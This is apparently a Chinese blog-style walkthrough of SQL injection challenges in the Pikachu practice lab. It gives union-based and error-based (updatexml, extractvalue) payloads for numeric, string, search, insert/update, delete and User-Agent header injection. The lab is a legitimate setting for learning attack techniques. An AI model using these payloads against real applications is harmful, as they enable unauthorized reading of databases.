皮卡丘靶场-sql注入
数字型注入
这里为post传参，所以我们需要抓包
抓包后发现id，我们一般在后面输入 ’ " \来测试有无注入，发现有sql语句报错，而且没有数字1，这和题目提示的数字型注入一样
输入 and 1=1 #
页面回显正常正确
输入 2 order by 3 # 查看列数（通常用二分法可以迅速找到多少列）
这里提示错误，我们尝试2发现页面回显正常
联合查询
2 union select 1,database() --+
字符型注入
输入：kobe
查看注入类型（加 ’ " \）
这里我们加单引号，有sql语句报错，存在SQL注入，通过报错可知闭合类型为单引号’
**输入 kobe’ and 1=1 --+**回显正常说明推测正确
查看列数，利用联合查询暴库
这里和第一题一样用order by 查看列，这里我们知道列数为2，这接联合查询查数据库
kobe' union select version(),2 --+
搜索型注入
**输入ko’**发现有SQL语句报错，
**我们输入and 1=1 --+**发现回显正常
然后我们就可一利用联合查询了：（这列列数为3）
ko' union select 1,2,database() --+
xx型注入
单引号先闭合
验证：因为闭合了前面的’)，后面的我们需要注释,结果正确
如果你不信可以构造一个(’ 和后面的闭合，结果正确，其实这是另一种思路
kobe') union select 1,version() --+
此处为你没看出闭合方式有括号，同样可以做
如果你不明白不知道闭合方式，那就继续探索
kobe' and extractvalue('1',concat('|',(select database()))) and '
insert/update注入
我们先注册信息，然后填完后点击提交抓包分析
输入’（判断是否有注入）
输入 ’ --+
因为我们单引号闭合了前面的，所以要把原有的’ 注释
我们继续闭合发现正确
888' and ' --+
888' and updatexml('|',concat('|',(select database()),'|'),'|') and ' --+'
这里也可以用下面闭合：
888') and updatexml('|',concat('|',(select database()),'|'),'|') and (' --+
delete注入
输入’
发现有报错，但是报错中没有59 说明为整形注入
我们直接输入
60 and updatexml('|',concat('|',(select database()),'|'),'|')
注意：因为是url传参所以我们要把我们输入的SQL语句进行URL编码
根据提示，删除留言时抓包：
http heade注入
登录以后发现提示说我们打的ip被记录了，下面显示的是另个http请求头内容，再加上题目是header注入，我们想他应该是从头部记录内容存储到数据库，所以我们要在这两个头部进行注入；
抓包分析
这里因为我的皮卡丘有问题（可能是我太菜）后面的几个都没法做做不了：
在useragent 后面加入sql语句
' or updatexml(1,concat(0x7e,database()),0) or '
SQL注pikaqu入靶场:
推荐一篇不错的讲解：点击即可查看
https://www.cnblogs.com/c1047509362/p/12631146.html
感谢这位大佬的分享